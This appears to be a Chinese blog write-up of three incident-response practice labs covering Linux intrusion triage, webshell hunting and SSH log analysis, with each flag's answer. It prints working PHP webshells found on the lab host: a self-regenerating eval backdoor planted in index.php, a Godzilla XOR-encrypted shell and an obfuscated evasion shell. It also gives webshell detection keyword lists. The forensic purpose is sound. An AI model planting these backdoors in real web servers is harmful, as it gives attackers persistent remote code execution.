Linux入侵排查 这是靶机的简介
账号:root 密码:linuxruqin ssh root@IP 1.web目录存在木马,请找到木马的密码提交 2.服务器疑似存在不死马,请找到不死马的密码提交 3.不死马是通过哪个文件生成的,请提交文件名 4.黑客留下了木马文件,请找出黑客的服务器ip提交 5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交
先简单了解一下不死马,参考文章:https://cloud.tencent.com/developer/article/1922141
https://blog.csdn.net/weixin_44411509/article/details/129267982
不死马的原理就是其进程不会消亡,在内存中不断创建木马文件,从而达到无法删除的目的。
下面是一个不死马例子:
<?php ?> '; file_put_contents("shell.php", $content); usleep(10000); } ?>
1. ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行,如果设置为true,则忽略与用户的断开;也就是访问了这个页面之后,脚本会一直在后台执行。 2. set_time_limit()函数:设置允许脚本运行的时间,单位为秒。如果设置为0(零),没有时间方面的限制。 3. unlink(__FILE__)函数:删除文件本身。 4. file_put_contents函数:将一个字符串写入文件。 5. usleep函数:延迟执行当前脚本若干微秒(一微秒等于一百万分之一秒)。
还可以给不死马加一个密码:
<?php ?> '; while (1){ file_put_contents($file,$code); usleep(5000); } ?>
要清除不死马的话就需要通过重启主机或服务,或者条件竞争的方式修改文件内容
开始排查
先进web目录,看到一个1.php里面是一句话木马
查看开放的端口:
netstat -pantu# -------- -p 表示显示进程标识符和/或进程名称,这可以帮助你查看哪个进程正在使用网络连接。 -a 表示显示所有活动的 TCP 连接和监听端口。 -n 表示以数字形式显示地址和端口号,不进行域名解析。 -t 表示显示 TCP 表。 -u 表示显示 UDP 表。
用该命令查找特征文件:
find ./ -name "*.php" | xargs grep "eval("
去查一下密码为hello
看一下index.php的内容可以知道通过该文件生成:
<?php include ('config.php' );include (SYS_ROOT.INC.'common.php' );$path =$_SERVER ['PATH_INFO' ].($_SERVER ['QUERY_STRING' ]?'?' .str_replace ('?' ,'' ,$_SERVER ['QUERY_STRING' ]):'' );if (substr ($path , 0 ,1 )=='/' ){ $path =substr ($path ,1 ); }$path = Base ::safeword ($path );$ctrl =isset ($_GET ['action' ])?$_GET ['action' ]:'run' ;if (isset ($_GET ['createprocess' ])) { Index ::createhtml (isset ($_GET ['id' ])?$_GET ['id' ]:0 ,$_GET ['cat' ],$_GET ['single' ]); }else { Index ::run ($path ); }$file = '/var/www/html/.shell.php' ;$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>' ;file_put_contents ($file , $code );system ('touch -m -d "2021-01-01 00:00:01" .shell.php' );usleep (3000 );?>
黑客留了一个木马文件,就是shell(1).elf 文件
可以看到没有可执行权限,这里加一个权限,然后开另一个端口查看端口情况
最后可以看到其ip为10.11.55.21 ,端口为3333
最终的各个flag如下:
flag{1} flag{hello} flag{index.php} flag{10.11.55.21} flag{3333}
用工具的做法 用D盾来进行扫描,不过D盾没有Linux版本,所以需要通过将远程的Linux文件系统挂载到Windows上面,然后用D盾扫即可。
这里参考这篇文章来布置:https://developer.aliyun.com/article/1341008
采用的方法是winfsp + sshfs-win ,这两个直接网上下载安装好即可:https://winfsp.dev/rel/
第一种方法是右击此电脑选择映射网络驱动器:
或者输入sshfs.r,sshfs是挂载用户家目录,sshfs.r是挂载远程的根目录
点击完成后输入密码即可挂载
然后直接用D盾进行扫描web目录:
或者用sshfs-manage(sshfs的界面化工具,要单独再去下载)将Linux目录挂载到Windows,这里就懒得试了😥
还可以用net use命令挂载:
net use //列出所有网络连接 net use Z: /del //删除本机映射的Z盘 net use * /del /y //删除所有映射和IPC$ net use Z: \\sshfs\root@192.168.1.120\/ //将对方根目录映射为Z盘 net use Z: \\sshfs.r\root@192.168.1.120 //将对方根目录映射为Z盘 net use Z: \\sshfs.r\root@192.168.1.120!1234 //将对方根目录映射为Z盘(其他端口)
weshell查杀 靶机简介
靶机账号密码 root xjwebshell 1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx} 2.黑客使用的什么工具的shell github地址的md5 flag{md5} 3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx 4.黑客免杀马完整路径 md5 flag{md5}
直接上D盾扫,用的还是上面的方法
先看一个简单的shell文件
这就是一个简单的webshell
再找找其他的,在gz.php找的的webshell比较特别
<?php @session_start (); @set_time_limit (0 ); @error_reporting (0 );function encode ($D ,$K ) { for ($i =0 ;$i <strlen ($D );$i ++) { $c = $K [$i +1 &15 ]; $D [$i ] = $D [$i ]^$c ; } return $D ; }$payloadName ='payload' ;$key ='3c6e0b8a9c15224a' ;$data =file_get_contents ("php://input" );if ($data !==false ){ $data =encode ($data ,$key ); if (isset ($_SESSION [$payloadName ])){ $payload =encode ($_SESSION [$payloadName ],$key ); if (strpos ($payload ,"getBasicsInfo" )===false ){ $payload =encode ($payload ,$key ); } eval ($payload ); echo encode (@run ($data ),$key ); }else { if (strpos ($data ,"getBasicsInfo" )!==false ){ $_SESSION [$payloadName ]=encode ($data ,$key ); } } }
这是第一个flag,flag{027ccd04-5065-48b6-a32d-77c704a5e26d}
然后就是看是什么类型的webshell,这里可以明显看到是哥斯拉的流量特征,是哥斯拉里面的一个异或加密脚本
哥斯拉的github地址:https://github.com/BeichenDream/Godzilla,然后进行md5就是flag,flag{39392de3218c333f794befef07ac9257}
隐藏shell就是上面D盾查找出的.Mysqlli.php
也是一个哥斯拉的shell,路径就为:/var/www/html/include/Db/.Mysqli.php,flag为flag{aebac0e58cd6c5fad1695ee4d1ac1919}
最后一个是免杀马,这里静态检测就检测不到了,但是webshell执行的话会在日志留下记录,可以去日志里面看一看,Linux的日志在**/var/log**目录下
不过D盾已经把他扫出来了,就是top.php,我们也可以在日志access.log中看到他的记录
top.php内容如下:
<?php $key = "password" ;$fun = base64_decode ($_GET ['func' ]);for ($i =0 ;$i <strlen ($fun );$i ++){ $fun [$i ] = $fun [$i ]^$key [$i +1 &7 ]; }$a = "a" ;$s = "s" ;$c =$a .$s .$_GET ["func2" ];$c ($fun );
这里进行了混淆和加密,路径md5就是flag,flag{EEFF2EABFD9B7A6D26FC1A53D3F7D1DE}
参考文章:https://blog.csdn.net/administratorlws/article/details/139521078,里面有手工查杀的方式,总结了一些常见webshell特征
这里copy一些知识点
//各webshell的危险函数 PHP: eval(), system(), exec(), shell_exec(), passthru(), assert(), base64_decode() ASP: Execute(), Eval(), CreateObject() JSP: Runtime.getRuntime().exec() //文件操作 PHP: fopen(), fwrite(), file_get_contents(), file_put_contents() ASP: FileSystemObject //网络操作 PHP: fsockopen(), curl_exec(), file_get_contents('http://...') ASP: WinHttp.WinHttpRequest
手工查杀免杀可以看他有没有编码函数
find ./ type f -name "*.php" | xargs grep "eval("
Linux日志分析 靶机简介
账号root密码linuxrz ssh root@IP 1.有多少IP在爆破主机ssh的root帐号,如果有多个使用","分割 2.ssh爆破成功登陆的IP是多少,如果有多个使用","分割 3.爆破用户名字典是什么?如果有多个使用","分割 4.登陆成功的IP共爆破了多少次 5.黑客登陆主机后新建了一个后门用户,用户名是多少
首先查看有多少ip在爆破ssh的root账号那就去查看/var/log下的日志
看auth.log.1里面的登陆失败信息,这个是auth.log的归档文件
cat /var/log/auth.log.1 | grep -a "Failed password for root" | awk '{print $11}' | sort | uniq -c | sort -nr | more
命令解释:
cat /var/log/auth.log.1:cat 命令用于连接文件并打印到标准输出设备,这里是用来显示 /var/log/auth.log.1 文件的内容。 grep -a "Failed password for root":grep 命令用于搜索包含特定文本的行。这里搜索的是包含文本 "Failed password for root" 的行,表示 root 用户登录失败的事件。-a 选项是告诉 grep 以文本文件的方式处理二进制文件,保证输出的一致性。 awk '{print $11}':awk 是一个强大的文本处理工具。这里 {print $11} 表示打印每行的第11个字段。在 auth.log 中,第11个字段通常是登录失败时尝试使用的用户名。 sort:sort 命令对输入的行进行排序。由于前面 awk 输出的是 root 用户的登录失败行,这里的 sort 将这些行进行字典序排序。 uniq -c:uniq 命令用于过滤掉排序后的重复行。-c 选项表示在每行前显示该行在文件中出现的次数。 sort -nr:再次使用 sort 命令,-n 选项表示按照数值排序,-r 选项表示降序排序。这里对 uniq 命令的输出结果按出现次数进行降序排序。 more:more 命令用于分页显示输出结果,允许用户逐步查看长输出,而不是一次性显示所有内容。
可以找到3个ip
192.168.200.2 192.168.200.32 192.168.200.31
爆破成功的用户就去查”Accepted”的字段
cat /var/log/auth.log.1 | grep -a "Accepted" | awk '{print $11}' | sort | uniq -c | sort -nr | more
爆破用户命的字典就查”Failed password”字段
cat /var/log/auth.log.1 | grep -a "Failed password" |perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}' |uniq -c|sort -nr
查找登录成功登陆的ip一共爆破了多少次,就查看”Failed password for root”字段,也就是第一个的查询,前面的数字就是登陆次数
cat /var/log/auth.log.1 | grep -a "Failed password for root" | awk '{print $11}' | sort | uniq -c | sort -nr | more
后门用户就查”new user”字段
cat /var/log/auth.log.1 |grep -a "new user"
也可以直接看/etc/passwd的内容
后门用户是test2
来补充一下日志相关的知识
参考这篇文章:https://developer.aliyun.com/article/1477704
上面查询的字段是日志的级别信息
Invalid user 表示尝试使用了一个不存在的用户登录系统。 Failed password 表示为某个用户输入了错误的密码。 authentication failure 表示认证失败。 Connection closed 表示连接被关闭。 Accepted password 表示密码认证成功。 new user 或 new group 表示创建了新用户或新用户组。 password changed 表示用户密码被更改。